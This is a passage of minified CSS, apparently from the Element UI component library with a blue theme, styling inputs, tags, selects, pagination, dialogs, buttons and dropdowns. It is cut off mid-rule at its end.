.el-textarea__inner::-ms-input-placeholder{color:#c0c4cc;}.el-textarea.is-disabled .el-textarea__inner::placeholder{color:#c0c4cc;}.el-input{position:relative;font-size:14px;display:inline-block;width:100%;}.el-input::-webkit-scrollbar{z-index:11;width:6px;}.el-input::-webkit-scrollbar:horizontal{height:6px;}.el-input::-webkit-scrollbar-thumb{border-radius:5px;width:6px;background:#b4bccc;}.el-input::-webkit-scrollbar-corner{background:#fff;}.el-input::-webkit-scrollbar-track{background:#fff;}.el-input::-webkit-scrollbar-track-piece{background:#fff;width:6px;}.el-input .el-input__clear{color:#c0c4cc;font-size:14px;line-height:16px;cursor:pointer;-webkit-transition:color 0.2s cubic-bezier(0.645,0.045,0.355,1);transition:color 0.2s cubic-bezier(0.645,0.045,0.355,1);}.el-input .el-input__clear:hover{color:#909399;}.el-input__inner{-webkit-appearance:none;background-color:#fff;background-image:none;border-radius:4px;border:1px solid #dcdfe6;-webkit-box-sizing:border-box;box-sizing:border-box;color:#606266;display:inline-block;font-size:inherit;height:40px;line-height:40px;outline:none;padding:0 15px;-webkit-transition:border-color 0.2s cubic-bezier(0.645,0.045,0.355,1);transition:border-color 0.2s cubic-bezier(0.645,0.045,0.355,1);width:100%;}.el-input__inner::-webkit-input-placeholder{color:#c0c4cc;}.el-input__inner:-ms-input-placeholder{color:#c0c4cc;}.el-input__inner::-ms-input-placeholder{color:#c0c4cc;}.el-input__inner::placeholder{color:#c0c4cc;}.el-input__inner:hover{border-color:#c0c4cc;}.el-input__inner:focus{outline:none;border-color:#387ef5;}.el-input__suffix{position:absolute;height:100%;right:5px;top:0;text-align:center;color:#c0c4cc;-webkit-transition:all .3s;transition:all .3s;pointer-events:none;}.el-input__suffix-inner{pointer-events:all;}.el-input__prefix{position:absolute;height:100%;left:5px;top:0;text-align:center;color:#c0c4cc;-webkit-transition:all .3s;transition:all .3s;}.el-input__icon{height:100%;width:25px;text-align:center;-webkit-transition:all .3s;transition:all .3s;line-height:40px;}.el-input__icon:after{height:100%;width:0;display:inline-block;vertical-align:middle;}.el-input__validateIcon{pointer-events:none;}.el-input.is-active .el-input__inner{outline:none;border-color:#387ef5;}.el-input.is-disabled .el-input__inner{background-color:#f5f7fa;border-color:#e4e7ed;color:#c0c4cc;cursor:not-allowed;}.el-input.is-disabled .el-input__inner::-webkit-input-placeholder{color:#c0c4cc;}.el-input.is-disabled .el-input__inner:-ms-input-placeholder{color:#c0c4cc;}.el-input.is-disabled .el-input__inner::-ms-input-placeholder{color:#c0c4cc;}.el-input.is-disabled .el-input__inner::placeholder{color:#c0c4cc;}.el-input.is-disabled .el-input__icon{cursor:not-allowed;}.el-input--suffix .el-input__inner{padding-right:30px;}.el-input--prefix .el-input__inner{padding-left:30px;}.el-input--medium{font-size:14px;}.el-input--medium .el-input__inner{height:36px;line-height:36px;}.el-input--medium .el-input__icon{line-height:36px;}.el-input--small{font-size:13px;}.el-input--small .el-input__inner{height:32px;line-height:32px;}.el-input--small .el-input__icon{line-height:32px;}.el-input--mini{font-size:12px;}.el-input--mini .el-input__inner{height:28px;line-height:28px;}.el-input--mini .el-input__icon{line-height:28px;}.el-input-group{line-height:normal;display:inline-table;width:100%;border-collapse:separate;border-spacing:0;}.el-input-group > .el-input__inner{vertical-align:middle;display:table-cell;}.el-input-group__append,.el-input-group__prepend{background-color:#f5f7fa;color:#909399;vertical-align:middle;display:table-cell;position:relative;border:1px solid #dcdfe6;border-radius:4px;padding:0 20px;width:1px;white-space:nowrap;}.el-input-group__append:focus,.el-input-group__prepend:focus{outline:none;}.el-input-group__append .el-select,.el-input-group__append .el-button,.el-input-group__prepend .el-select,.el-input-group__prepend .el-button{display:inline-block;margin:-10px -20px;}.el-input-group__append button.el-button,.el-input-group__append div.el-select .el-input__inner,.el-input-group__append div.el-select:hover .el-input__inner,.el-input-group__prepend button.el-button,.el-input-group__prepend div.el-select .el-input__inner,.el-input-group__prepend div.el-select:hover .el-input__inner{border-color:transparent;background-color:transparent;color:inherit;border-top:0;border-bottom:0;}.el-input-group__append .el-button,.el-input-group__append .el-input,.el-input-group__prepend .el-button,.el-input-group__prepend .el-input{font-size:inherit;}.el-input-group__prepend{border-right:0;border-top-right-radius:0;border-bottom-right-radius:0;}.el-input-group__append{border-left:0;border-top-left-radius:0;border-bottom-left-radius:0;}.el-input-group--prepend .el-input__inner{border-top-left-radius:0;border-bottom-left-radius:0;}.el-input-group--prepend .el-select .el-input.is-focus .el-input__inner{border-color:transparent;}.el-input-group--append .el-input__inner{border-top-right-radius:0;border-bottom-right-radius:0;}.el-input-group--append .el-select .el-input.is-focus .el-input__inner{border-color:transparent;}.el-input__inner::-ms-clear{display:none;width:0;height:0;}.el-tag{background-color:rgba(56,126,245,0.1);display:inline-block;padding:0 10px;height:32px;line-height:30px;font-size:12px;color:#387ef5;border-radius:4px;-webkit-box-sizing:border-box;box-sizing:border-box;border:1px solid rgba(56,126,245,0.2);white-space:nowrap;}.el-tag .el-icon-close{border-radius:50%;text-align:center;position:relative;cursor:pointer;font-size:12px;height:16px;width:16px;line-height:16px;vertical-align:middle;top:-1px;right:-5px;color:#387ef5;}.el-tag .el-icon-close::before{display:block;}.el-tag .el-icon-close:hover{background-color:#387ef5;color:#fff;}.el-tag--info{background-color:rgba(144,147,153,0.1);border-color:rgba(144,147,153,0.2);color:#909399;}.el-tag--info.is-hit{border-color:#909399;}.el-tag--info .el-tag__close{color:#909399;}.el-tag--info .el-tag__close:hover{background-color:#909399;color:#fff;}.el-tag--success{background-color:rgba(103,194,58,0.1);border-color:rgba(103,194,58,0.2);color:#67c23a;}.el-tag--success.is-hit{border-color:#67c23a;}.el-tag--success .el-tag__close{color:#67c23a;}.el-tag--success .el-tag__close:hover{background-color:#67c23a;color:#fff;}.el-tag--warning{background-color:rgba(230,162,60,0.1);border-color:rgba(230,162,60,0.2);color:#e6a23c;}.el-tag--warning.is-hit{border-color:#e6a23c;}.el-tag--warning .el-tag__close{color:#e6a23c;}.el-tag--warning .el-tag__close:hover{background-color:#e6a23c;color:#fff;}.el-tag--danger{background-color:rgba(245,108,108,0.1);border-color:rgba(245,108,108,0.2);color:#f56c6c;}.el-tag--danger.is-hit{border-color:#f56c6c;}.el-tag--danger .el-tag__close{color:#f56c6c;}.el-tag--danger .el-tag__close:hover{background-color:#f56c6c;color:#fff;}.el-tag--medium{height:28px;line-height:26px;}.el-tag--medium .el-icon-close{-webkit-transform:scale(0.8);transform:scale(0.8);}.el-tag--small{height:24px;padding:0 8px;line-height:22px;}.el-tag--small .el-icon-close{-webkit-transform:scale(0.8);transform:scale(0.8);}.el-tag--mini{height:20px;padding:0 5px;line-height:19px;}.el-tag--mini .el-icon-close{margin-left:-3px;-webkit-transform:scale(0.7);transform:scale(0.7);}.el-select-dropdown__item{font-size:14px;padding:0 20px;position:relative;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;color:#606266;height:34px;line-height:34px;-webkit-box-sizing:border-box;box-sizing:border-box;cursor:pointer;}.el-select-dropdown__item.is-disabled{color:#c0c4cc;cursor:not-allowed;}.el-select-dropdown__item.is-disabled:hover{background-color:#fff;}.el-select-dropdown__item.hover,.el-select-dropdown__item:hover{background-color:#f5f7fa;}.el-select-dropdown__item.selected{color:#387ef5;font-weight:bold;}.el-select-group{margin:0;padding:0;}.el-select-group__wrap{position:relative;list-style:none;margin:0;padding:0;}.el-select-group__wrap:not(:last-of-type){padding-bottom:24px;}.el-select-group__wrap:not(:last-of-type)::after{position:absolute;display:block;left:20px;right:20px;bottom:12px;height:1px;background:#e4e7ed;}.el-select-group__title{padding-left:20px;font-size:12px;color:#909399;line-height:30px;}.el-select-group .el-select-dropdown__item{padding-left:20px;}.el-scrollbar{overflow:hidden;position:relative;}.el-scrollbar:hover > .el-scrollbar__bar,.el-scrollbar:active > .el-scrollbar__bar,.el-scrollbar:focus > .el-scrollbar__bar{opacity:1;-webkit-transition:opacity 340ms ease-out;transition:opacity 340ms ease-out;}.el-scrollbar__wrap{overflow:scroll;height:100%;}.el-scrollbar__wrap--hidden-default::-webkit-scrollbar{width:0;height:0;}.el-scrollbar__thumb{position:relative;display:block;width:0;height:0;cursor:pointer;border-radius:inherit;background-color:rgba(144,147,153,0.3);-webkit-transition:.3s background-color;transition:.3s background-color;}.el-scrollbar__thumb:hover{background-color:rgba(144,147,153,0.5);}.el-scrollbar__bar{position:absolute;right:2px;bottom:2px;z-index:1;border-radius:4px;opacity:0;-webkit-transition:opacity 120ms ease-out;transition:opacity 120ms ease-out;}.el-scrollbar__bar.is-vertical{width:6px;top:2px;}.el-scrollbar__bar.is-vertical > div{width:100%;}.el-scrollbar__bar.is-horizontal{height:6px;left:2px;}.el-scrollbar__bar.is-horizontal > div{height:100%;}.el-select{display:inline-block;position:relative;}.el-select:hover .el-input__inner{border-color:#c0c4cc;}.el-select .el-input__inner{cursor:pointer;padding-right:35px;}.el-select .el-input__inner:focus{border-color:#387ef5;}.el-select .el-input .el-select__caret{color:#c0c4cc;font-size:14px;-webkit-transition:-webkit-transform .3s;transition:-webkit-transform .3s;transition:transform .3s;transition:transform .3s,-webkit-transform .3s;-webkit-transform:rotateZ(180deg);transform:rotateZ(180deg);cursor:pointer;}.el-select .el-input .el-select__caret.is-reverse{-webkit-transform:rotateZ(0deg);transform:rotateZ(0deg);}.el-select .el-input .el-select__caret.is-show-close{font-size:14px;text-align:center;-webkit-transform:rotateZ(180deg);transform:rotateZ(180deg);border-radius:100%;color:#c0c4cc;-webkit-transition:color 0.2s cubic-bezier(0.645,0.045,0.355,1);transition:color 0.2s cubic-bezier(0.645,0.045,0.355,1);}.el-select .el-input .el-select__caret.is-show-close:hover{color:#909399;}.el-select .el-input.is-disabled .el-input__inner{cursor:not-allowed;}.el-select .el-input.is-disabled .el-input__inner:hover{border-color:#e4e7ed;}.el-select .el-input.is-focus .el-input__inner{border-color:#387ef5;}.el-select > .el-input{display:block;}.el-select__input{border:none;outline:none;padding:0;margin-left:15px;color:#666;font-size:14px;-webkit-appearance:none;-moz-appearance:none;appearance:none;height:28px;background-color:transparent;}.el-select__input.is-mini{height:14px;}.el-select__close{cursor:pointer;position:absolute;top:8px;z-index:1000;right:25px;color:#c0c4cc;line-height:18px;font-size:14px;}.el-select__close:hover{color:#909399;}.el-select__tags{position:absolute;line-height:normal;white-space:normal;z-index:1;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-ms-flex-wrap:wrap;flex-wrap:wrap;}.el-select .el-tag__close{margin-top:-2px;}.el-select .el-tag{-webkit-box-sizing:border-box;box-sizing:border-box;border-color:transparent;margin:2px 0 2px 6px;background-color:#f0f2f5;}.el-select .el-tag__close.el-icon-close{background-color:#c0c4cc;right:-7px;top:0;color:#fff;}.el-select .el-tag__close.el-icon-close:hover{background-color:#909399;}.el-select .el-tag__close.el-icon-close::before{display:block;-webkit-transform:translate(0,0.5px);transform:translate(0,0.5px);}.el-pagination{white-space:nowrap;padding:2px 5px;color:#303133;font-weight:bold;}.el-pagination::before,.el-pagination::after{display:table;}.el-pagination::after{clear:both;}.el-pagination span:not([class*=suffix]),.el-pagination button{display:inline-block;font-size:13px;min-width:35.5px;height:28px;line-height:28px;vertical-align:top;-webkit-box-sizing:border-box;box-sizing:border-box;}.el-pagination .el-input__inner{text-align:center;-moz-appearance:textfield;line-height:normal;}.el-pagination .el-input__suffix{right:0;-webkit-transform:scale(0.8);transform:scale(0.8);}.el-pagination .el-select .el-input{width:100px;margin:0 5px;}.el-pagination .el-select .el-input .el-input__inner{padding-right:25px;border-radius:3px;}.el-pagination button{border:none;padding:0 6px;background:transparent;}.el-pagination button:focus{outline:none;}.el-pagination button:hover{color:#387ef5;}.el-pagination button:disabled{color:#c0c4cc;background-color:#fff;cursor:not-allowed;}.el-pagination .btn-prev,.el-pagination .btn-next{background:center center no-repeat;background-size:16px;background-color:#fff;cursor:pointer;margin:0;color:#303133;}.el-pagination .btn-prev .el-icon,.el-pagination .btn-next .el-icon{display:block;font-size:12px;font-weight:bold;}.el-pagination .btn-prev{padding-right:12px;}.el-pagination .btn-next{padding-left:12px;}.el-pagination .el-pager li.disabled{color:#c0c4cc;cursor:not-allowed;}.el-pagination--small .btn-prev,.el-pagination--small .btn-next,.el-pagination--small .el-pager li,.el-pagination--small .el-pager li.btn-quicknext,.el-pagination--small .el-pager li.btn-quickprev,.el-pagination--small .el-pager li:last-child{border-color:transparent;font-size:12px;line-height:22px;height:22px;min-width:22px;}.el-pagination--small .arrow.disabled{visibility:hidden;}.el-pagination--small .more::before,.el-pagination--small li.more::before{line-height:24px;}.el-pagination--small span:not([class*=suffix]),.el-pagination--small button{height:22px;line-height:22px;}.el-pagination--small .el-pagination__editor{height:22px;}.el-pagination--small .el-pagination__editor.el-input .el-input__inner{height:22px;}.el-pagination__sizes{margin:0 10px 0 0;font-weight:normal;color:#606266;}.el-pagination__sizes .el-input .el-input__inner{font-size:13px;padding-left:8px;}.el-pagination__sizes .el-input .el-input__inner:hover{border-color:#387ef5;}.el-pagination__total{margin-right:10px;font-weight:normal;color:#606266;}.el-pagination__jump{margin-left:24px;font-weight:normal;color:#606266;}.el-pagination__jump .el-input__inner{padding:0 3px;}.el-pagination__rightwrapper{float:right;}.el-pagination__editor{line-height:18px;padding:0 2px;height:28px;text-align:center;margin:0 2px;-webkit-box-sizing:border-box;box-sizing:border-box;border-radius:3px;}.el-pagination__editor.el-input{width:50px;}.el-pagination__editor.el-input .el-input__inner{height:28px;}.el-pagination__editor .el-input__inner::-webkit-inner-spin-button,.el-pagination__editor .el-input__inner::-webkit-outer-spin-button{-webkit-appearance:none;margin:0;}.el-pagination.is-background .btn-prev,.el-pagination.is-background .btn-next,.el-pagination.is-background .el-pager li{margin:0 5px;background-color:#f4f4f5;color:#606266;min-width:30px;border-radius:2px;}.el-pagination.is-background .btn-prev.disabled,.el-pagination.is-background .btn-next.disabled,.el-pagination.is-background .el-pager li.disabled{color:#c0c4cc;}.el-pagination.is-background .btn-prev,.el-pagination.is-background .btn-next{padding:0;}.el-pagination.is-background .btn-prev:disabled,.el-pagination.is-background .btn-next:disabled{color:#c0c4cc;}.el-pagination.is-background .el-pager li:not(.disabled):hover{color:#387ef5;}.el-pagination.is-background .el-pager li:not(.disabled).active{background-color:#387ef5;color:#fff;}.el-pagination.is-background.el-pagination--small .btn-prev,.el-pagination.is-background.el-pagination--small .btn-next,.el-pagination.is-background.el-pagination--small .el-pager li{margin:0 3px;min-width:22px;}.el-pager{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;list-style:none;display:inline-block;vertical-align:top;font-size:0;padding:0;margin:0;}.el-pager .more::before{line-height:30px;}.el-pager li{padding:0 4px;background:#fff;vertical-align:top;display:inline-block;font-size:13px;min-width:35.5px;height:28px;line-height:28px;cursor:pointer;-webkit-box-sizing:border-box;box-sizing:border-box;text-align:center;margin:0;}.el-pager li.btn-quicknext,.el-pager li.btn-quickprev{line-height:28px;color:#303133;}.el-pager li.btn-quicknext.disabled,.el-pager li.btn-quickprev.disabled{color:#c0c4cc;}.el-pager li.btn-quickprev:hover{cursor:pointer;}.el-pager li.btn-quicknext:hover{cursor:pointer;}.el-pager li.active + li{border-left:0;}.el-pager li:hover{color:#387ef5;}.el-pager li.active{color:#387ef5;cursor:default;}.v-modal-enter{-webkit-animation:v-modal-in .2s ease;animation:v-modal-in .2s ease;}.v-modal-leave{-webkit-animation:v-modal-out .2s ease forwards;animation:v-modal-out .2s ease forwards;}@-webkit-keyframes v-modal-in{0%{opacity:0;}100%{}}@keyframes v-modal-in{0%{opacity:0;}100%{}}@-webkit-keyframes v-modal-out{0%{}100%{opacity:0;}}@keyframes v-modal-out{0%{}100%{opacity:0;}}.v-modal{position:fixed;left:0;top:0;width:100%;height:100%;opacity:0.5;background:#000;}.el-popup-parent--hidden{overflow:hidden;}.el-dialog{position:relative;margin:0 auto 50px;background:#fff;border-radius:2px;-webkit-box-shadow:0 1px 3px rgba(0,0,0,0.3);box-shadow:0 1px 3px rgba(0,0,0,0.3);-webkit-box-sizing:border-box;box-sizing:border-box;width:50%;}.el-dialog.is-fullscreen{width:100%;margin-top:0;margin-bottom:0;height:100%;overflow:auto;}.el-dialog__wrapper{position:fixed;top:0;right:0;bottom:0;left:0;overflow:auto;margin:0;}.el-dialog__header{padding:20px;padding-bottom:10px;}.el-dialog__headerbtn{position:absolute;top:20px;right:20px;padding:0;background:transparent;border:none;outline:none;cursor:pointer;font-size:16px;}.el-dialog__headerbtn .el-dialog__close{color:#909399;}.el-dialog__headerbtn:focus .el-dialog__close,.el-dialog__headerbtn:hover .el-dialog__close{color:#387ef5;}.el-dialog__title{line-height:24px;font-size:18px;color:#303133;}.el-dialog__body{padding:30px 20px;color:#606266;font-size:14px;}.el-dialog__footer{padding:20px;padding-top:10px;text-align:right;-webkit-box-sizing:border-box;box-sizing:border-box;}.el-dialog--center{text-align:center;}.el-dialog--center .el-dialog__body{text-align:initial;padding:25px 25px 30px;}.el-dialog--center .el-dialog__footer{text-align:inherit;}.dialog-fade-enter-active{-webkit-animation:dialog-fade-in .3s;animation:dialog-fade-in .3s;}.dialog-fade-leave-active{-webkit-animation:dialog-fade-out .3s;animation:dialog-fade-out .3s;}@-webkit-keyframes dialog-fade-in{0%{-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0);opacity:0;}100%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1;}}@keyframes dialog-fade-in{0%{-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0);opacity:0;}100%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1;}}@-webkit-keyframes dialog-fade-out{0%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1;}100%{-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0);opacity:0;}}@keyframes dialog-fade-out{0%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1;}100%{-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0);opacity:0;}}.el-autocomplete{position:relative;display:inline-block;}.el-autocomplete-suggestion{margin:5px 0;-webkit-box-shadow:0 2px 12px 0 rgba(0,0,0,0.1);box-shadow:0 2px 12px 0 rgba(0,0,0,0.1);border-radius:4px;}.el-autocomplete-suggestion__wrap{max-height:280px;padding:10px 0;-webkit-box-sizing:border-box;box-sizing:border-box;overflow:auto;background-color:#fff;border:1px solid #e4e7ed;border-radius:4px;}.el-autocomplete-suggestion__list{margin:0;padding:0;}.el-autocomplete-suggestion li{padding:0 20px;margin:0;line-height:34px;cursor:pointer;color:#606266;font-size:14px;list-style:none;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;}.el-autocomplete-suggestion li:hover{background-color:#f5f7fa;}.el-autocomplete-suggestion li.highlighted{background-color:#f5f7fa;}.el-autocomplete-suggestion li.divider{margin-top:6px;border-top:1px solid #000;}.el-autocomplete-suggestion li.divider:last-child{margin-bottom:-6px;}.el-autocomplete-suggestion.is-loading li{text-align:center;height:100px;line-height:100px;font-size:20px;color:#999;}.el-autocomplete-suggestion.is-loading li::after{display:inline-block;height:100%;vertical-align:middle;}.el-autocomplete-suggestion.is-loading li:hover{background-color:#fff;}.el-autocomplete-suggestion.is-loading .el-icon-loading{vertical-align:middle;}.el-button{display:inline-block;line-height:1;white-space:nowrap;cursor:pointer;background:#fff;border:1px solid #dcdfe6;border-color:#387ef5;color:#387ef5;-webkit-appearance:none;text-align:center;-webkit-box-sizing:border-box;box-sizing:border-box;outline:none;margin:0;-webkit-transition:.1s;transition:.1s;font-weight:500;-moz-user-select:none;-webkit-user-select:none;-ms-user-select:none;padding:12px 20px;font-size:14px;border-radius:4px;}.el-button + .el-button{margin-left:10px;}.el-button.is-round{padding:12px 20px;}.el-button:hover,.el-button:focus{color:#387ef5;border-color:#c3d8fc;background-color:#ebf2fe;}.el-button:active{color:#3271dd;border-color:#3271dd;outline:none;}.el-button::-moz-focus-inner{border:0;}.el-button [class*=\"el-icon-\"] + span{margin-left:5px;}.el-button.is-plain:hover,.el-button.is-plain:focus{background:#fff;border-color:#387ef5;color:#387ef5;}.el-button.is-plain:active{background:#fff;border-color:#3271dd;color:#3271dd;outline:none;}.el-button.is-active{color:#3271dd;border-color:#3271dd;}.el-button.is-disabled,.el-button.is-disabled:hover,.el-button.is-disabled:focus{color:#c0c4cc;cursor:not-allowed;background-image:none;background-color:#fff;border-color:#ebeef5;}.el-button.is-disabled.el-button--text{background-color:transparent;}.el-button.is-disabled.is-plain,.el-button.is-disabled.is-plain:hover,.el-button.is-disabled.is-plain:focus{background-color:#fff;border-color:#ebeef5;color:#c0c4cc;}.el-button.is-loading{position:relative;pointer-events:none;}.el-button.is-loading:before{pointer-events:none;position:absolute;left:-1px;top:-1px;right:-1px;bottom:-1px;border-radius:inherit;background-color:rgba(255,255,255,0.35);}.el-button.is-round{border-radius:20px;padding:12px 23px;}.el-button.is-circle{border-radius:50%;padding:12px;}.el-button--primary{color:#fff;background-color:#387ef5;border-color:#387ef5;}.el-button--primary:hover,.el-button--primary:focus{background:#6098f7;border-color:#6098f7;color:#fff;}.el-button--primary:active{background:#3271dd;border-color:#3271dd;color:#fff;outline:none;}.el-button--primary.is-active{background:#3271dd;border-color:#3271dd;color:#fff;}.el-button--primary.is-disabled,.el-button--primary.is-disabled:hover,.el-button--primary.is-disabled:focus,.el-button--primary.is-disabled:active{color:#fff;background-color:#9cbffa;border-color:#9cbffa;}.el-button--primary.is-plain{color:#387ef5;background:#ebf2fe;border-color:#afcbfb;}.el-button--primary.is-plain:hover,.el-button--primary.is-plain:focus{background:#387ef5;border-color:#387ef5;color:#fff;}.el-button--primary.is-plain:active{background:#3271dd;border-color:#3271dd;color:#fff;outline:none;}.el-button--primary.is-plain.is-disabled,.el-button--primary.is-plain.is-disabled:hover,.el-button--primary.is-plain.is-disabled:focus,.el-button--primary.is-plain.is-disabled:active{color:#88b2f9;background-color:#ebf2fe;border-color:#d7e5fd;}.el-button--success{color:#fff;background-color:#67c23a;border-color:#67c23a;}.el-button--success:hover,.el-button--success:focus{background:#85ce61;border-color:#85ce61;color:#fff;}.el-button--success:active{background:#5daf34;border-color:#5daf34;color:#fff;outline:none;}.el-button--success.is-active{background:#5daf34;border-color:#5daf34;color:#fff;}.el-button--success.is-disabled,.el-button--success.is-disabled:hover,.el-button--success.is-disabled:focus,.el-button--success.is-disabled:active{color:#fff;background-color:#b3e19d;border-color:#b3e19d;}.el-button--success.is-plain{color:#67c23a;background:#f0f9eb;border-color:#c2e7b0;}.el-button--success.is-plain:hover,.el-button--success.is-plain:focus{background:#67c23a;border-color:#67c23a;color:#fff;}.el-button--success.is-plain:active{background:#5daf34;border-color:#5daf34;color:#fff;outline:none;}.el-button--success.is-plain.is-disabled,.el-button--success.is-plain.is-disabled:hover,.el-button--success.is-plain.is-disabled:focus,.el-button--success.is-plain.is-disabled:active{color:#a4da89;background-color:#f0f9eb;border-color:#e1f3d8;}.el-button--warning{color:#fff;background-color:#e6a23c;border-color:#e6a23c;}.el-button--warning:hover,.el-button--warning:focus{background:#ebb563;border-color:#ebb563;color:#fff;}.el-button--warning:active{background:#cf9236;border-color:#cf9236;color:#fff;outline:none;}.el-button--warning.is-active{background:#cf9236;border-color:#cf9236;color:#fff;}.el-button--warning.is-disabled,.el-button--warning.is-disabled:hover,.el-button--warning.is-disabled:focus,.el-button--warning.is-disabled:active{color:#fff;background-color:#f3d19e;border-color:#f3d19e;}.el-button--warning.is-plain{color:#e6a23c;background:#fdf6ec;border-color:#f5dab1;}.el-button--warning.is-plain:hover,.el-button--warning.is-plain:focus{background:#e6a23c;border-color:#e6a23c;color:#fff;}.el-button--warning.is-plain:active{background:#cf9236;border-color:#cf9236;color:#fff;outline:none;}.el-button--warning.is-plain.is-disabled,.el-button--warning.is-plain.is-disabled:hover,.el-button--warning.is-plain.is-disabled:focus,.el-button--warning.is-plain.is-disabled:active{color:#f0c78a;background-color:#fdf6ec;border-color:#faecd8;}.el-button--danger{color:#fff;background-color:#f56c6c;border-color:#f56c6c;}.el-button--danger:hover,.el-button--danger:focus{background:#f78989;border-color:#f78989;color:#fff;}.el-button--danger:active{background:#dd6161;border-color:#dd6161;color:#fff;outline:none;}.el-button--danger.is-active{background:#dd6161;border-color:#dd6161;color:#fff;}.el-button--danger.is-disabled,.el-button--danger.is-disabled:hover,.el-button--danger.is-disabled:focus,.el-button--danger.is-disabled:active{color:#fff;background-color:#fab6b6;border-color:#fab6b6;}.el-button--danger.is-plain{color:#f56c6c;background:#fef0f0;border-color:#fbc4c4;}.el-button--danger.is-plain:hover,.el-button--danger.is-plain:focus{background:#f56c6c;border-color:#f56c6c;color:#fff;}.el-button--danger.is-plain:active{background:#dd6161;border-color:#dd6161;color:#fff;outline:none;}.el-button--danger.is-plain.is-disabled,.el-button--danger.is-plain.is-disabled:hover,.el-button--danger.is-plain.is-disabled:focus,.el-button--danger.is-plain.is-disabled:active{color:#f9a7a7;background-color:#fef0f0;border-color:#fde2e2;}.el-button--info{color:#fff;background-color:#909399;border-color:#909399;}.el-button--info:hover,.el-button--info:focus{background:#a6a9ad;border-color:#a6a9ad;color:#fff;}.el-button--info:active{background:#82848a;border-color:#82848a;color:#fff;outline:none;}.el-button--info.is-active{background:#82848a;border-color:#82848a;color:#fff;}.el-button--info.is-disabled,.el-button--info.is-disabled:hover,.el-button--info.is-disabled:focus,.el-button--info.is-disabled:active{color:#fff;background-color:#c8c9cc;border-color:#c8c9cc;}.el-button--info.is-plain{color:#909399;background:#f4f4f5;border-color:#d3d4d6;}.el-button--info.is-plain:hover,.el-button--info.is-plain:focus{background:#909399;border-color:#909399;color:#fff;}.el-button--info.is-plain:active{background:#82848a;border-color:#82848a;color:#fff;outline:none;}.el-button--info.is-plain.is-disabled,.el-button--info.is-plain.is-disabled:hover,.el-button--info.is-plain.is-disabled:focus,.el-button--info.is-plain.is-disabled:active{color:#bcbec2;background-color:#f4f4f5;border-color:#e9e9eb;}.el-button--medium{padding:10px 20px;font-size:14px;border-radius:4px;}.el-button--medium.is-round{padding:10px 20px;}.el-button--medium.is-circle{padding:10px;}.el-button--small{padding:9px 15px;font-size:12px;border-radius:3px;}.el-button--small.is-round{padding:9px 15px;}.el-button--small.is-circle{padding:9px;}.el-button--mini{padding:7px 15px;font-size:12px;border-radius:3px;}.el-button--mini.is-round{padding:7px 15px;}.el-button--mini.is-circle{padding:7px;}.el-button--text{border-color:transparent;color:#387ef5;background:transparent;padding-left:0;padding-right:0;}.el-button--text:hover,.el-button--text:focus{color:#6098f7;border-color:transparent;background-color:transparent;}.el-button--text:active{color:#3271dd;border-color:transparent;background-color:transparent;}.el-button--text.is-disabled,.el-button--text.is-disabled:hover,.el-button--text.is-disabled:focus{border-color:transparent;}.el-button-group{display:inline-block;vertical-align:middle;}.el-button-group::before,.el-button-group::after{display:table;}.el-button-group::after{clear:both;}.el-button-group .el-button{float:left;position:relative;}.el-button-group .el-button + .el-button{margin-left:0;}.el-button-group .el-button:first-child{border-top-right-radius:0;border-bottom-right-radius:0;}.el-button-group .el-button:last-child{border-top-left-radius:0;border-bottom-left-radius:0;}.el-button-group .el-button:first-child:last-child{border-top-right-radius:4px;border-bottom-right-radius:4px;border-top-left-radius:4px;border-bottom-left-radius:4px;}.el-button-group .el-button:first-child:last-child.is-round{border-radius:20px;}.el-button-group .el-button:first-child:last-child.is-circle{border-radius:50%;}.el-button-group .el-button:not(:first-child):not(:last-child){border-radius:0;}.el-button-group .el-button:not(:last-child){margin-right:-1px;}.el-button-group .el-button:hover,.el-button-group .el-button:focus,.el-button-group .el-button:active{z-index:1;}.el-button-group .el-button.is-active{z-index:1;}.el-button-group .el-button--primary:first-child{border-right-color:rgba(255,255,255,0.5);}.el-button-group .el-button--primary:last-child{border-left-color:rgba(255,255,255,0.5);}.el-button-group .el-button--primary:not(:first-child):not(:last-child){border-left-color:rgba(255,255,255,0.5);border-right-color:rgba(255,255,255,0.5);}.el-button-group .el-button--success:first-child{border-right-color:rgba(255,255,255,0.5);}.el-button-group .el-button--success:last-child{border-left-color:rgba(255,255,255,0.5);}.el-button-group .el-button--success:not(:first-child):not(:last-child){border-left-color:rgba(255,255,255,0.5);border-right-color:rgba(255,255,255,0.5);}.el-button-group .el-button--warning:first-child{border-right-color:rgba(255,255,255,0.5);}.el-button-group .el-button--warning:last-child{border-left-color:rgba(255,255,255,0.5);}.el-button-group .el-button--warning:not(:first-child):not(:last-child){border-left-color:rgba(255,255,255,0.5);border-right-color:rgba(255,255,255,0.5);}.el-button-group .el-button--danger:first-child{border-right-color:rgba(255,255,255,0.5);}.el-button-group .el-button--danger:last-child{border-left-color:rgba(255,255,255,0.5);}.el-button-group .el-button--danger:not(:first-child):not(:last-child){border-left-color:rgba(255,255,255,0.5);border-right-color:rgba(255,255,255,0.5);}.el-button-group .el-button--info:first-child{border-right-color:rgba(255,255,255,0.5);}.el-button-group .el-button--info:last-child{border-left-color:rgba(255,255,255,0.5);}.el-button-group .el-button--info:not(:first-child):not(:last-child){border-left-color:rgba(255,255,255,0.5);border-right-color:rgba(255,255,255,0.5);}.el-dropdown{display:inline-block;position:relative;color:#606266;font-size:14px;}.el-dropdown .el-button-group{display:block;}.el-dropdown .el-button-group .el-button{float:none;}.el-dropdown .el-dropdown__caret-button{padding-left:5px;padding-right:5px;position:relative;border-left:none;}.el-dropdown .el-dropdown__caret-button::before{position:absolute;display:block;width:1px;top:5px;bottom:5px;left:0;background:rgba(255,255,255,0.5);}.el-dropdown 